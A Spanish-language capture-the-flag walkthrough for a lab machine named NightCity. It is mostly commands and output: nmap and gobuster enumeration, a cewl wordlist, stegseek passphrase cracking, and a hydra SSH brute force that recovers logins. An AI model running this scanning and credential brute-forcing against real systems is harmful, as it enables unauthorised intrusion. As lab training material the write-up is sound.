057 - NightCity

Comenzamos con la enumeración de puertos:

❯ sudo nmap -p- -sS --min-rate 5000 -n -Pn -oG 01-allPorts 192.168.1.24
❯ nmap -sCV -p21,22,80 -oN 02-targeted.txt 192.168.1.24
Starting Nmap 7.94 ( https://nmap.org ) at 2024-03-30 13:01 -03
Nmap scan report for 192.168.1.24
Host is up (0.00028s latency).

PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 2.0.8 or later
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_drwxrwxrwx    2 0        0            4096 Jun 09  2022 reminder [NSE: writeable]
| ftp-syst:
|   STAT:
| FTP server status:
|      Connected to 192.168.1.10
|      Logged in as ftp
|      vsFTPd 3.0.3 - secure, fast, stable
|_End of status
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 ce:ac:1c:04:d6:f6:64:d6:d9:9d:88:c9:0d:66:a9:45 (RSA)
|   256 4f:f1:7b:69:5c:47:b2:91:b8:d2:2f:82:73:b7:fc:03 (ECDSA)
|_  256 65:6b:3b:8c:89:81:4d:f3:98:98:5a:ed:57:cf:58:c9 (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-title: NightCity Web Server
|_http-server-header: Apache/2.4.29 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 11.77 seconds

❯ gobuster dir -u 'http://192.168.1.24' -w ~/Documentos/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -x php,txt,html,jpg,jpeg,gif,png -r
...
/robots.txt           (Status: 200) [Size: 136]
/secret               (Status: 200) [Size: 1373]
/robin                (Status: 200) [Size: 1873]
...

El FTP anónimo y el robots.txt dan pistas:

❯ cat reminder.txt
Local user is in the coordinates

❯ cat robots.txt
#Good Job
To continue, you need a workmate. Our lastest news is that Robin is close to
NightCity. Try to find him, Robin has the key!!

Generamos un wordlist a partir de /robin con cewl:

❯ cewl.rb -d 3 -m 5 http://192.168.1.24/robin > ./wordlist_robin.txt
❯ cat wordlist_robin.txt | tr '[:upper:]' '[:lower:]' > wordlist_robin_lower.txt

En /secret hay 3 imágenes; una contiene coordenadas (Okinawa, Japón) y most-wanted.jpg esconde un mensaje por esteganografía:

❯ stegseek -wl ~/Documentos/wordlists/rockyou.txt most-wanted.jpg
StegSeek 0.6 - https://github.com/RickdeJager/StegSeek
[i] Found passphrase: "japon"
[i] Original filename: "pass.txt".
[i] Extracting to "most-wanted.jpg.out".

❯ cat most-wanted.jpg.out
VGhpc0lzVGhlUmVhbFBhc3N3MHJkIQ==
❯ echo "VGhpc0lzVGhlUmVhbFBhc3N3MHJkIQ==" | base64 -d
[redacted]

Con esa contraseña hacemos fuerza bruta del usuario (de la wordlist de cewl) contra SSH:

❯ hydra -L wordlist_robin_lower.txt -p '[redacted]' 192.168.1.24 ssh -t 64
...
[22][ssh] host: 192.168.1.24   login: batman   password: [redacted]
...

Entramos como batman y encontramos un señuelo y otra imagen:

batman@NightCity:~$ cat flag.txt
Nice try! but, this is not the flag. You have to keep working >:)

Analizamos iknowyou.jpg con stegoveritas:

❯ stegoveritas iknowyou.jpg

En la imagen procesada iknowyou.jpg_equalize.png aparece un mensaje:

[redacted]

Iniciamos sesión como joker con esa contraseña y obtenemos la flag.

Fin.